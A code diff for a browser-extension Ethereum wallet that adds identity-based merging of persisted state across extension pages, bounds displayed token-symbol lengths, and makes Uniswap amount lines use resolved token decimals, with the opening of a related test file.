+    const rawEndpoints =
+        typeof saved.networkEndpoints === "object" &&
+        saved.networkEndpoints !== null &&
+        !Array.isArray(saved.networkEndpoints)
+            ? saved.networkEndpoints
+            : {};
+    out.networkEndpoints = {};
+    for (const netId of Object.keys(rawEndpoints)) {
+        out.networkEndpoints[netId] = { ...rawEndpoints[netId] };
+    }
+    // A profile written before this map existed carries exactly one pair of
+    // endpoints, belonging to whatever network it was last on. Adopt it as
+    // that network's remembered pair, so a custom endpoint set on the old
+    // build is not lost by the first switch away and back.
+    if (!out.networkEndpoints[out.networkId]) {
+        out.networkEndpoints[out.networkId] = {
+            rpcUrl: out.rpcUrl,
+            blockscoutUrl: out.blockscoutUrl,
+        };
+    }
+    out.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
+    out.activeAddress = saved.activeAddress || null;
+    out.allowedSites =
+        saved.allowedSites && !Array.isArray(saved.allowedSites)
+            ? saved.allowedSites
+            : {};
+    out.deniedSites =
+        saved.deniedSites && !Array.isArray(saved.deniedSites)
+            ? saved.deniedSites
+            : {};
+    out.rememberSiteChoice =
+        saved.rememberSiteChoice !== undefined
+            ? saved.rememberSiteChoice
+            : true;
+    out.showZeroBalanceTokens =
+        saved.showZeroBalanceTokens !== undefined
+            ? saved.showZeroBalanceTokens
+            : true;
+    // A profile written before this setting existed has no key for it. It
+    // is a safety filter, so absent must load as on, not as undefined.
+    out.hideSpoofedSymbols =
+        saved.hideSpoofedSymbols !== undefined
+            ? saved.hideSpoofedSymbols
+            : true;
+    out.hideLowHolderTokens =
+        saved.hideLowHolderTokens !== undefined
+            ? saved.hideLowHolderTokens
+            : true;
+    out.hideFraudContracts =
+        saved.hideFraudContracts !== undefined
+            ? saved.hideFraudContracts
+            : true;
+    out.hideDustTransactions =
+        saved.hideDustTransactions !== undefined
+            ? saved.hideDustTransactions
+            : true;
+    out.dustThresholdGwei =
+        saved.dustThresholdGwei !== undefined
+            ? saved.dustThresholdGwei
+            : 100000;
+    out.utcTimestamps =
+        saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
+    out.fraudContracts = saved.fraudContracts || [];
+    out.tokenHolderCache = saved.tokenHolderCache || {};
+    out.theme = saved.theme || "system";
+    out.debugMode = saved.debugMode !== undefined ? saved.debugMode : false;
+    out.currentView = saved.currentView || null;
+    out.selectedWallet =
+        saved.selectedWallet !== undefined ? saved.selectedWallet : null;
+    out.selectedAddress =
+        saved.selectedAddress !== undefined ? saved.selectedAddress : null;
+    out.selectedToken = saved.selectedToken || null;
+    out.viewData = saved.viewData || {};
+    out.viewStack = restorableStack(saved.viewStack, out.currentView);
+    return out;
+}
+
+// The persisted fields as they stood at the end of this page's last
+// loadState() or saveState(). saveState() diffs the live state against this
+// to find only the fields THIS page actually changed.
+//
+// Deep-cloned, not a reference: callers mutate persisted objects and arrays
+// in place (state.wallets.push(...)), and a reference baseline would mutate
+// right along with `state`, so the diff would always come out empty.
+let baseline = null;
+
+function snapshotPersisted() {
+    const out = {};
+    for (const key of PERSISTED_FIELDS) out[key] = state[key];
+    return out;
+}
+
+function deepEqual(a, b) {
+    if (a === b) return true;
+    if (typeof a !== "object" || typeof b !== "object") return false;
+    if (a === null || b === null) return false;
+    if (Array.isArray(a) !== Array.isArray(b)) return false;
+    const aKeys = Object.keys(a);
+    const bKeys = Object.keys(b);
+    if (aKeys.length !== bKeys.length) return false;
+    for (const key of aKeys) {
+        if (!Object.prototype.hasOwnProperty.call(b, key)) return false;
+        if (!deepEqual(a[key], b[key])) return false;
+    }
+    return true;
+}
+
+// Stable identity for a wallet, independent of its position in the array
+// (which shifts under a concurrent add/delete elsewhere) and independent of
+// its mutable fields (name is user-editable; addresses gains/loses entries
+// via scanning and deleteAddress.js). An "hd"/"xprv" wallet's xpub never
+// changes for its lifetime and is already enforced unique
+// (findWalletByXpub() in addWallet.js). A "key" wallet has no xpub, exactly
+// one address for its whole lifetime (nothing ever adds to or removes from
+// a key wallet's address list), and that address is already enforced
+// unique (findWalletByAddress()) — so it stands in for identity there.
+// Neither invariant is enforced by this function or by
+// mergeListByIdentity() below — they hold only because every wallet-
+// creation path in addWallet.js happens to populate one or the other before
+// the wallet ever reaches state.wallets, and because canRemoveAddress() in
+// walletDelete.js never lets a wallet's address list go to zero. A wallet
+// with neither (an empty/legacy/corrupt record) falls back to the same
+// "addr:" identity as every other such record, which is a genuine
+// collision, not a proxy for one — see the collision handling in
+// mergeListByIdentity().
+function walletIdentity(wallet) {
+    if (wallet.xpub) return "xpub:" + wallet.xpub;
+    const first = wallet.addresses && wallet.addresses[0];
+    return "addr:" + (first ? String(first.address).toLowerCase() : "");
+}
+
+// Stable identity for an address within one wallet's address list. An
+// address is unique within its wallet and, once derived or imported, never
+// changes — only whether it is present.
+function addressIdentity(addr) {
+    return String(addr.address).toLowerCase();
+}
+
+// Merge one array of identity-bearing objects (wallets, or the addresses
+// inside one wallet) by identity rather than by array index — an index
+// shifts under a concurrent insert/delete elsewhere, which would merge the
+// wrong pair of objects entirely.
+//
+// `theirs` (fresh storage) sets the membership baseline and the order:
+//   - An item this page never had baseline knowledge of, but that is in
+//     `theirs`, was added by someone else — kept as-is.
+//   - An item `base` had and `ours` no longer has was deleted by THIS page
+//     — dropped even though `theirs` still has it (this page's own delete
+//     must win over a background save that only touched leaf fields).
+//   - An item present in both `ours` and `theirs` is merged leaf-by-leaf via
+//     `mergeItem`, so a leaf this page changed (e.g. a renamed wallet) lands
+//     on top of `theirs`' otherwise-current copy (e.g. a refreshed balance).
+// Anything left in `ours` that `base` never had and `theirs` does not have
+// yet is this page's own new addition — appended.
+//
+// `identityOf` is not guaranteed collision-free (walletIdentity() falls
+// back to one shared "addr:" value for any wallet with neither an xpub nor
+// a populated first address). Two records that collide under it must never
+// silently collapse into one — that is exactly how this function used to
+// drop a wallet, encryptedSecret included, with no error and no log. Two
+// defenses:
+//   - `ours` is indexed into GROUPS, not a single item per identity, so two
+//     colliding live items on this page can't overwrite each other in the
+//     index before the merge below even runs.
+//   - A matched pair with no shared `base` entry (neither page ever agreed
+//     on this identity) is only merged leaf-by-leaf when the two sides are
+//     already equal. If they differ, that is not "the same record edited
+//     twice", it is two different records that happen to share an identity
+//     — both are kept, unmerged, rather than guessing which one is real.
+function mergeListByIdentity(base, ours, theirs, identityOf, mergeItem) {
+    base = base || [];
+    ours = ours || [];
+    theirs = theirs || [];
+    const baseIndex = new Map(base.map((item) => [identityOf(item), item]));
+    const oursIndex = new Map();
+    for (const item of ours) {
+        const id = identityOf(item);
+        if (!oursIndex.has(id)) oursIndex.set(id, []);
+        oursIndex.get(id).push(item);
+    }
+
+    const result = [];
+    const seen = new Set();
+
+    for (const theirItem of theirs) {
+        const id = identityOf(theirItem);
+        seen.add(id);
+        const oursGroup = oursIndex.get(id);
+        if (baseIndex.has(id) && !oursGroup) continue;
+        if (oursGroup) {
+            const baseItem = baseIndex.get(id);
+            if (!baseItem && !deepEqual(oursGroup[0], theirItem)) {
+                log.errorf(
+                    "state: identity collision merging",
+                    JSON.stringify(id),
+                    "- keeping both records instead of dropping one",
+                );
+                result.push(theirItem, ...oursGroup);
+            } else {
+                result.push(mergeItem(baseItem, oursGroup[0], theirItem));
+                for (let i = 1; i < oursGroup.length; i++) {
+                    result.push(oursGroup[i]);
+                }
+            }
+        } else {
+            result.push(theirItem);
+        }
+    }
+
+    for (const item of ours) {
+        const id = identityOf(item);
+        if (seen.has(id)) continue;
+        if (!baseIndex.has(id)) result.push(item);
+    }
+
+    return result;
+}
+
+// Merge one wallet's scalar/leaf fields (name, encryptedSecret, nextIndex,
+// ...) against base, then recurse into its address list by identity. `base`
+// is null when this page created the wallet itself and no other page has
+// (yet) produced a same-identity record — nothing to merge in that case,
+// this page's own copy wins outright. mergeListByIdentity() only ever calls
+// this with `!base` when `ours` and `theirs` are already equal (a genuine
+// collision between two DIFFERENT same-identity records is caught and kept
+// as two separate entries before this function is reached), so returning
+// `ours` here can't discard a different wallet's data.
+function mergeWallet(base, ours, theirs) {
+    if (!base) return ours;
+    const merged = { ...theirs };
+    for (const key of Object.keys(ours)) {
+        if (key === "addresses") continue;
+        if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
+    }
+    merged.addresses = mergeListByIdentity(
+        base.addresses,
+        ours.addresses,
+        theirs.addresses,
+        addressIdentity,
+        mergeAddress,
+    );
+    return merged;
+}
+
+// Merge one address's leaf fields (balance, ensName, tokenBalances, ...).
+// tokenBalances is itself an array, but only backgroundRefresh() ever
+// writes it and always wholesale (refreshBalances() in
+// src/shared/balances.js), so there is no membership to reconcile within
+// it — it is a leaf like balance or ensName, not a list with its own
+// identity.
+function mergeAddress(base, ours, theirs) {
+    if (!base) return ours;
+    const merged = { ...theirs };
+    for (const key of Object.keys(ours)) {
+        if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
+    }
+    return merged;
+}
+
+// Merge a plain object keyed by string (allowedSites/deniedSites: address ->
+// hostname list; networkEndpoints: networkId -> {rpcUrl, blockscoutUrl}) the
+// same way mergeListByIdentity() merges an array — by key, not by whole-
+// object diff — so a key one page added or removed applies independently of
+// a key another page edited. Unlike an array's identity function, an object
+// key can't collide with a different logical entry (Object.keys() is
+// already deduplicated), so this needs no collision floor of its own.
+function mergeMapByKey(base, ours, theirs, mergeLeaf) {
+    base = base || {};
+    ours = ours || {};
+    theirs = theirs || {};
+    const result = {};
+    const seen = new Set();
+
+    for (const key of Object.keys(theirs)) {
+        seen.add(key);
+        const inBase = Object.prototype.hasOwnProperty.call(base, key);
+        const inOurs = Object.prototype.hasOwnProperty.call(ours, key);
+        if (inBase && !inOurs) continue; // this page deleted the whole entry
+        if (inOurs) {
+            result[key] = mergeLeaf(base[key], ours[key], theirs[key]);
+        } else {
+            result[key] = theirs[key];
+        }
+    }
+
+    for (const key of Object.keys(ours)) {
+        if (seen.has(key)) continue;
+        if (!Object.prototype.hasOwnProperty.call(base, key)) {
+            result[key] = ours[key];
+        }
+    }
+
+    return result;
+}
+
+// allowedSites/deniedSites: { [address]: [hostname, ...] }. The hostname
+// list is itself membership, not a leaf — src/background/index.js pushes a
+// newly approved/denied hostname onto it in place, and the Settings "revoke"
+// button (src/popup/views/settings.js) filters a hostname out of it in
+// place, from a different page. Merge it the same way wallets are merged:
+// identity is the hostname itself, so a merged pair is always equal and
+// mergeItem is a no-op pick.
+function mergeHostnameList(base, ours, theirs) {
+    return mergeListByIdentity(
+        base,
+        ours,
+        theirs,
+        (hostname) => hostname,
+        (b, o, t) => t,
+    );
+}
+
+function mergeSiteMap(base, ours, theirs) {
+    return mergeMapByKey(base, ours, theirs, mergeHostnameList);
+}
+
+// networkEndpoints: { [networkId]: {rpcUrl, blockscoutUrl} }. onChainSwitch()
+// (src/shared/chainSwitch.js) writes state.networkEndpoints[networkId] in
+// place before saving. No code path ever removes a key from this map, so the
+// membership collision that matters for allowedSites/wallets (an add on one
+// page racing a delete on another) can't happen here — but two pages
+// switching to two different networks concurrently still race a whole-field
+// diff the same way, so it gets the same per-key merge for the leaf edit
+// case (e.g. Settings saving a custom RPC URL for the active network).
+function mergeEndpointEntry(base, ours, theirs) {
+    if (!base) return ours;
+    const merged = { ...theirs };
+    for (const key of Object.keys(ours)) {
+        if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
+    }
+    return merged;
+}
+
+function mergeNetworkEndpoints(base, ours, theirs) {
+    return mergeMapByKey(base, ours, theirs, mergeEndpointEntry);
+}
+
+// Read-modify-write, merged per field, rather than one full-blob write.
+//
+// Every extension page (the toolbar popup, a dApp approval window, the
+// background's backgroundRefresh()) holds its own in-memory `state`, loaded
+// once, and showView() saves on every navigation. A full-blob write here
+// clobbers whatever a second page had written since — including, in the
+// worst case, an entire wallet and its encrypted secret with no attacker
+// and no unusual input (see the issue this fixes).
+//
+// Only the fields this page actually changed — those that differ from
+// `baseline`, captured at the last loadState()/saveState() on this page —
+// are written; every other field is carried forward from whatever is in
+// storage right now, which may already be a value another page wrote.
+//
+// `wallets` is merged structurally (mergeListByIdentity(), by wallet
+// identity and then by address identity within each wallet), not as one
+// whole field: backgroundRefresh() mutates wallets IN PLACE (addr.balance /
+// ensName / tokenBalances, via refreshBalances()), so a whole-field diff
+// would mark all of `wallets` "changed" the moment any balance moved and
+// write back background's own copy — loaded before its multi-second network
+// round trip — clobbering a wallet another page added, or resurrecting one
+// another page deleted, in that window. Merging by identity lets
+// background's leaf changes and another page's membership changes
+// (add/delete a wallet or an address) apply independently instead of
+// colliding as the same field.
+//
+// `allowedSites` and `deniedSites` get the same treatment (mergeSiteMap(),
+// by address key and then by hostname within each address's list), for the
+// identical reason: src/background/index.js pushes a newly
+// approved/denied hostname onto them in place, and the Settings "revoke"
+// button (src/popup/views/settings.js) filters one out in place, from a
+// different page. A whole-field diff here doesn't just lose data, it is a
+// security defect — a stale page's save can resurrect a just-revoked site
+// permission, or silently wipe a permission just granted elsewhere.
+//
+// `networkEndpoints` gets the same treatment too (mergeNetworkEndpoints(),
+// by network id), since onChainSwitch() writes into it in place; the value
+// per key is a small leaf object with no membership of its own; see the
+// comment at mergeEndpointEntry() for why the collision this closes is
+// milder than the other two.
+//
+// Every other persisted field stays a whole-field diff:
+// `trackedTokens`/`fraudContracts`/`viewStack` are arrays of scalars with no
+// per-element identity to merge by; `tokenHolderCache` is a map shaped like
+// the ones above, but nothing in src/ ever writes an entry into it — it is
+// only ever reset wholesale to `{}` (onChainSwitch()) — so there is no
+// in-place mutation for a whole-field diff to collide with; `viewData` is
+// this page's own UI scratch space, not data another page has any reason to
+// share membership of.
+//
+// This does not make two pages that both change the SAME leaf concurrently
+// safe: last write wins on that one leaf, same as before. What it removes
+// is the cross-field (and now cross-membership-vs-leaf) clobber — a page
+// that only navigated, or only refreshed a balance, overwriting a wallet or
+// address list it never touched the membership of.
+//
+// This page's own live `state` is deliberately NOT rehydrated from a field
+// another page changed — only the record written to storage is merged.
+// showView() fires saveState() on every navigation without awaiting it,
+// which is what makes the queue above necessary in the first place, and a
+// save that is slow to come back has no way to tell whether the field it
+// is about to hand back is still the current answer or has since been
+// overtaken by something this very page did in the meantime; writing it
+// into `state` regardless reintroduced exactly the clobber this function
+// exists to remove, just delayed and confined to one page instead of two
+// (caught by tests/txStatus.test.js). A page's live picture of a field it
+// does not own goes on being whatever its last loadState() saw, same as
+// before this fix; only the persisted record is guaranteed current.
+async function saveStateOnce() {
+    const current = snapshotPersisted();
+    const result = await storageGet("autistmask");
+    // Normalized, not raw: a field this page did not change still has to
+    // come from storage in its loaded (self-healed) shape. See
+    // normalizePersisted() above.
+    const fresh = normalizePersisted(result.autistmask);
+
+    const merged = { ...fresh };
+    for (const key of PERSISTED_FIELDS) {
+        if (key === "wallets") {
+            merged.wallets = mergeListByIdentity(
+                baseline ? baseline.wallets : [],
+                current.wallets,
+                fresh.wallets,
+                walletIdentity,
+                mergeWallet,
+            );
+        } else if (key === "allowedSites" || key === "deniedSites") {
+            merged[key] = mergeSiteMap(
+                baseline ? baseline[key] : {},
+                current[key],
+                fresh[key],
+            );
+        } else if (key === "networkEndpoints") {
+            merged.networkEndpoints = mergeNetworkEndpoints(
+                baseline ? baseline.networkEndpoints : {},
+                current.networkEndpoints,
+                fresh.networkEndpoints,
+            );
+        } else if (
+            baseline === null ||
+            !deepEqual(current[key], baseline[key])
+        ) {
+            merged[key] = current[key];
+        }
+    }
+    merged.hasWallet = Boolean(merged.wallets && merged.wallets.length > 0);
+
+    await storageSet({ autistmask: merged });
+
+    // Derived from this page's own wallets, never adopted off the wire —
+    // see loadState(). Everything else this page did not change is left
+    // exactly as it stood; see the note above.
+    state.hasWallet = state.wallets.length > 0;
+
+    baseline = structuredClone(snapshotPersisted());
+}
+
+// showView() calls saveState() on every navigation without awaiting it, so
+// two saves from the SAME page can be in flight at once — e.g. a screen
+// shown, then immediately replaced before the first save's storageGet()
+// round trip has come back. Left concurrent, the first save's turn would
+// finish after the second's live-state mutation and then re-hydrate `state`
+// from what IT read, stomping the second, later change back to a stale
+// value — the same clobber this function exists to prevent, just between
+// two saves on one page instead of two pages. Queuing makes every save's
+// snapshot-diff-write-rehydrate run start to finish before the next one
+// begins, so each one only ever sees the true live state at its turn.
+let saveQueue = Promise.resolve();
+
+function saveState() {
+    const turn = saveQueue.then(saveStateOnce);
+    // The queue must advance even when a save rejects, or every save after
+    // it queues behind a promise that never settles.
+    saveQueue = turn.catch(() => {});
+    return turn;
 }
 
 async function loadState() {
     const result = await storageGet("autistmask");
     if (result.autistmask) {
-        const saved = result.autistmask;
-        state.wallets = saved.wallets || [];
-        // Derived, never read from storage: a profile persisted with the flag
-        // out of step with the wallet list would otherwise stay broken on
-        // every load. Nothing depends on the two disagreeing.
-        state.hasWallet = state.wallets.length > 0;
-        state.trackedTokens = saved.trackedTokens || [];
-        state.networkId = saved.networkId || DEFAULT_STATE.networkId;
-        state.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
-        state.blockscoutUrl =
-            saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
-        // An actual object is required, not merely a truthy non-array: the
-        // code below and onChainSwitch() index and ASSIGN INTO this value,
-        // and assigning a property to a string or a number is a silent no-op
-        // in sloppy mode. A stored primitive would therefore be re-persisted
-        // unchanged forever, and every switch would fall back to the network
-        // default — the endpoint loss this map exists to prevent, with no
-        // self-healing. The allowedSites/deniedSites guards below are only
-        // read from, which is why they can be looser.
-        state.networkEndpoints =
-            typeof saved.networkEndpoints === "object" &&
-            saved.networkEndpoints !== null &&
-            !Array.isArray(saved.networkEndpoints)
-                ? saved.networkEndpoints
-                : {};
-        // A profile written before this map existed carries exactly one pair
-        // of endpoints, belonging to whatever network it was last on. Adopt
-        // it as that network's remembered pair, so a custom endpoint set on
-        // the old build is not lost by the first switch away and back.
-        if (!state.networkEndpoints[state.networkId]) {
-            state.networkEndpoints[state.networkId] = {
-                rpcUrl: state.rpcUrl,
-                blockscoutUrl: state.blockscoutUrl,
-            };
-        }
-        state.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
-        state.activeAddress = saved.activeAddress || null;
-        state.allowedSites =
-            saved.allowedSites && !Array.isArray(saved.allowedSites)
-                ? saved.allowedSites
-                : {};
-        state.deniedSites =
-            saved.deniedSites && !Array.isArray(saved.deniedSites)
-                ? saved.deniedSites
-                : {};
-        state.rememberSiteChoice =
-            saved.rememberSiteChoice !== undefined
-                ? saved.rememberSiteChoice
-                : true;
-        state.showZeroBalanceTokens =
-            saved.showZeroBalanceTokens !== undefined
-                ? saved.showZeroBalanceTokens
-                : true;
-        // A profile written before this setting existed has no key for it.
-        // It is a safety filter, so absent must load as on, not as undefined.
-        state.hideSpoofedSymbols =
-            saved.hideSpoofedSymbols !== undefined
-                ? saved.hideSpoofedSymbols
-                : true;
-        state.hideLowHolderTokens =
-            saved.hideLowHolderTokens !== undefined
-                ? saved.hideLowHolderTokens
-                : true;
-        state.hideFraudContracts =
-            saved.hideFraudContracts !== undefined
-                ? saved.hideFraudContracts
-                : true;
-        state.hideDustTransactions =
-            saved.hideDustTransactions !== undefined
-                ? saved.hideDustTransactions
-                : true;
-        state.dustThresholdGwei =
-            saved.dustThresholdGwei !== undefined
-                ? saved.dustThresholdGwei
-                : 100000;
-        state.utcTimestamps =
-            saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
-        state.fraudContracts = saved.fraudContracts || [];
-        state.tokenHolderCache = saved.tokenHolderCache || {};
-        state.theme = saved.theme || "system";
-        state.debugMode =
-            saved.debugMode !== undefined ? saved.debugMode : false;
-        state.currentView = saved.currentView || null;
-        state.selectedWallet =
-            saved.selectedWallet !== undefined ? saved.selectedWallet : null;
-        state.selectedAddress =
-            saved.selectedAddress !== undefined ? saved.selectedAddress : null;
-        state.selectedToken = saved.selectedToken || null;
-        state.viewData = saved.viewData || {};
-        state.viewStack = restorableStack(saved.viewStack, state.currentView);
+        Object.assign(state, normalizePersisted(result.autistmask));
     }
+    // The point of comparison every saveState() on this page diffs against,
+    // whether storage had a profile or was empty. See PERSISTED_FIELDS above
+    // saveState() for why a reference here would be wrong.
+    baseline = structuredClone(snapshotPersisted());
 }
 
 function currentAddress() {

src/shared/symbolDisplay.js

@@ -0,0 +1,43 @@
+// The length bound on a token symbol as displayed.
+//
+// A symbol is whatever an ERC-20's symbol() returns and the wallet fetches
+// it from the block explorer, which imposes no length: src/shared/balances.js
+// takes `item.token.symbol` as given. A kilobyte-long symbol is a real
+// return value, and rendering it pushes every amount off the row, scrolls
+// the balance list past the screen, and hides the figures the user is there
+// to read.
+//
+// This is a layout bound, not a security control. Escaping is what makes a
+// hostile symbol inert (see src/shared/html.js), and isSpoofedSymbol() is
+// what catches one impersonating a known ticker; neither job belongs here
+// and neither is done here. Truncating an unescaped symbol would still be
+// an injection, just a shorter one.
+//
+// 12 characters, which is the bound lookupTokenInfo() in
+// src/shared/balances.js already applies when it stores a symbol read
+// straight off a contract; the explorer path was the one with no bound at
+// all. The longest symbol across the 512 entries of the bundled list is 10
+// (MSYRUPUSDP), so nothing the wallet ships as a real token is ever
+// truncated. The ellipsis is what tells the user the name they are looking
+// at is not the whole name — worth knowing before they send to it.
+
+const MAX_SYMBOL_LENGTH = 12;
+
+// The placeholder for a token whose symbol the explorer did not report.
+// balances.js already substitutes this; repeated here so a symbol that
+// arrives empty from anywhere else displays the same way rather than as a
+// blank gap in the row.
+const UNKNOWN_SYMBOL = "???";
+
+function displaySymbol(symbol) {
+    const s = symbol === null || symbol === undefined ? "" : String(symbol);
+    if (s.length === 0) return UNKNOWN_SYMBOL;
+    if (s.length <= MAX_SYMBOL_LENGTH) return s;
+    return s.slice(0, MAX_SYMBOL_LENGTH - 1) + "…";
+}
+
+module.exports = {
+    displaySymbol,
+    MAX_SYMBOL_LENGTH,
+    UNKNOWN_SYMBOL,
+};

src/shared/transactions.js

@@ -11,6 +11,10 @@ const { log, debugFetch } = require("./log");
 const { TOKEN_BY_ADDRESS } = require("./tokenList");
 const { parseHoldersCount, isLowHolderCount } = require("./holders");
 const { isSpoofedSymbol } = require("./symbolSpoof");
+// The plain 4-decimal rule. The history and balance lists deliberately keep
+// truncation without the approval screens' nonzero floor: the transaction
+// detail view is the authoritative record and already shows exact precision.
+const { truncateAmount: formatTxValue } = require("./amountDisplay");
 
 // Ethereum addresses are case-insensitive: EIP-55 mixed case is a checksum
 // over the address, not part of its identity.  Every address comparison in
@@ -20,13 +24,6 @@ function normalizeAddress(addr) {
     return (addr || "").toLowerCase();
 }
 
-function formatTxValue(val) {
-    const parts = val.split(".");
-    if (parts.length === 1) return val + ".0000";
-    const dec = (parts[1] + "0000").slice(0, 4);
-    return parts[0] + "." + dec;
-}
-
 function parseTx(tx, addrLower) {
     const from = tx.from?.hash || "";
     const to = tx.to?.hash || "";

src/shared/uniswap.js

@@ -3,6 +3,11 @@
 
 const { Interface, AbiCoder, getBytes, formatUnits } = require("ethers");
 const { TOKEN_BY_ADDRESS } = require("./tokenList");
+const { truncateAmountNeverZero } = require("./amountDisplay");
+const {
+    resolveTokenDecimals,
+    unknownDecimalsAmount,
+} = require("./approvalAmount");
 
 const coder = AbiCoder.defaultAbiCoder();
 
@@ -34,20 +39,46 @@ const COMMAND_NAMES = {
     0x21: "Execute Sub-Plan",
 };
 
+// The swap's Amount and Min. received lines land on the same approval screen,
+// and Amount is carried to the wait/success/error screens as the ERC-20 line
+// is, so they take the same nonzero floor: a swap of an amount below 0.0001 is
+// not "0.0000", and a slippage floor of one base unit does not read as "you may
+// receive nothing".
 function formatAmount(raw, decimals) {
-    const parts = formatUnits(raw, decimals).split(".");
-    if (parts.length === 1) return parts[0] + ".0000";
-    const dec = (parts[1] + "0000").slice(0, 4);
-    return parts[0] + "." + dec;
+    return truncateAmountNeverZero(formatUnits(raw, decimals));
 }
 
-function tokenInfo(address) {
+// `decimals` is null when nothing knows this token's scale. It is not
+// defaulted to 18: the swap lines land on the same approval screen as the
+// ERC-20 line, and a scale guessed there is what showed a 1,000 USDT swap as
+// 0.000000000001. `sources` is { trackedTokens, wallets }, shaped as they are
+// on `state`; resolveTokenDecimals() reads the bundled list, then those.
+function tokenInfo(address, sources) {
     if (!address || address === "0x0000000000000000000000000000000000000000") {
         return { symbol: "ETH", decimals: 18, address: null };
     }
     const t = TOKEN_BY_ADDRESS.get(address.toLowerCase());
-    if (t) return { symbol: t.symbol, decimals: t.decimals, address };
-    return { symbol: null, decimals: 18, address };
+    return {
+        symbol: t ? t.symbol : null,
+        decimals: resolveTokenDecimals(address, sources),
+        address,
+    };
+}
+
+// A swap amount line. With a scale it is the token quantity; with none it is
+// the base-unit integer with the unknown scale stated, the same refusal the
+// ERC-20 amount line makes, so the screen has one way of saying it. `display`
+// is the line on the screen, `raw` is what the status screens carry.
+function amountText(raw, info) {
+    if (info.decimals === null) {
+        const unknown = unknownDecimalsAmount(raw);
+        return { raw: unknown, display: unknown };
+    }
+    const formatted = formatAmount(raw, info.decimals);
+    return {
+        raw: formatted,
+        display: formatted + (info.symbol ? " " + info.symbol : ""),
+    };
 }
 
 // Decode PERMIT2_PERMIT (command 0x0a) input bytes.
@@ -320,7 +351,7 @@ function decodeV4Swap(input) {
 // Try to decode a Universal Router execute() call.
 // Returns { name, description, details } matching the format used by
 // the approval UI, or null if the calldata is not a recognised execute().
-function decode(data, toAddress) {
+function decode(data, toAddress, sources) {
     try {
         const parsed = ROUTER_IFACE.parseTransaction({ data });
         if (!parsed) return null;
@@ -413,10 +444,10 @@ function decode(data, toAddress) {
         }
 
         // Resolve token info
-        const inInfo = tokenInfo(inputToken);
+        const inInfo = tokenInfo(inputToken, sources);
         const outInfo = hasUnwrapWeth
             ? { symbol: "ETH", decimals: 18, address: null }
-            : tokenInfo(outputToken);
+            : tokenInfo(outputToken, sources);
 
         const inSymbol = inInfo.symbol;
         const outSymbol = outInfo.symbol;
@@ -453,16 +484,15 @@ function decode(data, toAddress) {
                 "0xffffffffffffffffffffffffffffffffffffffff",
             );
             const isUnlimited = inputAmount >= maxUint160;
-            const amountRaw = isUnlimited
-                ? "Unlimited"
-                : formatAmount(inputAmount, inInfo.decimals);
-            const amountStr = isUnlimited
-                ? "Unlimited"
-                : amountRaw + (inSymbol ? " " + inSymbol : "");
+            // An unbounded permit needs no scale to describe, so it is still
+            // named rather than refused.
+            const amount = isUnlimited
+                ? { raw: "Unlimited", display: "Unlimited" }
+                : amountText(inputAmount, inInfo);
             details.push({
                 label: "Amount",
-                value: amountStr,
-                rawValue: amountRaw,
+                value: amount.display,
+                rawValue: amount.raw,
             });
         }
 
@@ -483,10 +513,10 @@ function decode(data, toAddress) {
         }
 
         if (minOutput !== null && minOutput !== undefined) {
-            const minStr =
-                formatAmount(minOutput, outInfo.decimals) +
-                (outSymbol ? " " + outSymbol : "");
-            details.push({ label: "Min. received", value: minStr });
+            details.push({
+                label: "Min. received",
+                value: amountText(minOutput, outInfo).display,
+            });
         }
 
         details.push({ label: "Steps", value: commandNames.join(" \u2192 ") });

tests/approvalDisplayFloor.test.js

@@ -0,0 +1,190 @@
+// The floor of the approval screen's amount line.
+//
+// Amounts are truncated to four decimal places for scannability (README.md,
+// Display Consistency). With the token's true scale resolved, that truncation
+// can still take a real amount below the floor and print it as `0.0000`: one
+// base unit of an 18-decimal token, or a few hundred of an 8-decimal one. On
+// the one screen whose job is to state what is being authorized, a nonzero
+// transfer or allowance then reads as nothing.
+//
+// The invariant asserted here is narrow: a nonzero amount never renders as
+// zero. The four-decimal rule itself is unchanged, and the string the
+// confirmation screens carry as `txInfo.amount` is the same one, so it is
+// asserted on `rawValue` alongside the displayed line.
+//
+// Both amount paths of that screen are covered: the ERC-20 line decoded by
+// `src/popup/views/approval.js`, and the swap's `Amount` and `Min. received`
+// lines decoded by `src/shared/uniswap.js`.
+
+globalThis.chrome = {
+    storage: { local: { get: async () => ({}), set: async () => {} } },
+};
+
+const { AbiCoder, Interface } = require("ethers");
+const { ERC20_ABI } = require("../src/shared/constants");
+const { state } = require("../src/shared/state");
+const { decodeCalldata } = require("../src/popup/views/approval");
+const uniswap = require("../src/shared/uniswap");
+const {
+    truncateAmount,
+    truncateAmountNeverZero,
+} = require("../src/shared/amountDisplay");
+
+const iface = new Interface(ERC20_ABI);
+
+// Bundled tokens, so the scale and the symbol both come from the list.
+const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; // 6 decimals
+const WBT = "0x925206b8a707096Ed26ae47C84747fE0bb734F59"; // 8 decimals
+const DAI = "0x6B175474E89094C44Da98b954EedeAC495271d0F"; // 18 decimals
+// Outside the list, so the scale comes from what the user tracks and the line
+// carries no symbol.
+const NOVEL = "0xE2E0000000000000000000000000000000000E2e";
+
+const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
+const SPENDER = "0x1111111111111111111111111111111111111111";
+
+// The Uniswap swap lines land on this same approval screen.
+const ROUTER = "0x66a9893cc07d91d95644aedd05d03f95e1dba8af";
+const USDT = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; // 6 decimals
+const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; // 18 decimals
+
+const coder = AbiCoder.defaultAbiCoder();
+const routerIface = new Interface([
+    "function execute(bytes commands, bytes[] inputs, uint256 deadline)",
+]);
+
+// A V2_SWAP_EXACT_IN (command 0x08) execute() call: `amountIn` of USDT for at
+// least `amountOutMin` of WETH.
+function swapData(amountIn, amountOutMin) {
+    const input = coder.encode(
+        ["address", "uint256", "uint256", "address[]", "bool"],
+        [RECIPIENT, amountIn, amountOutMin, [USDT, WETH], true],
+    );
+    return routerIface.encodeFunctionData("execute", [
+        "0x08",
+        [input],
+        9999999999n,
+    ]);
+}
+
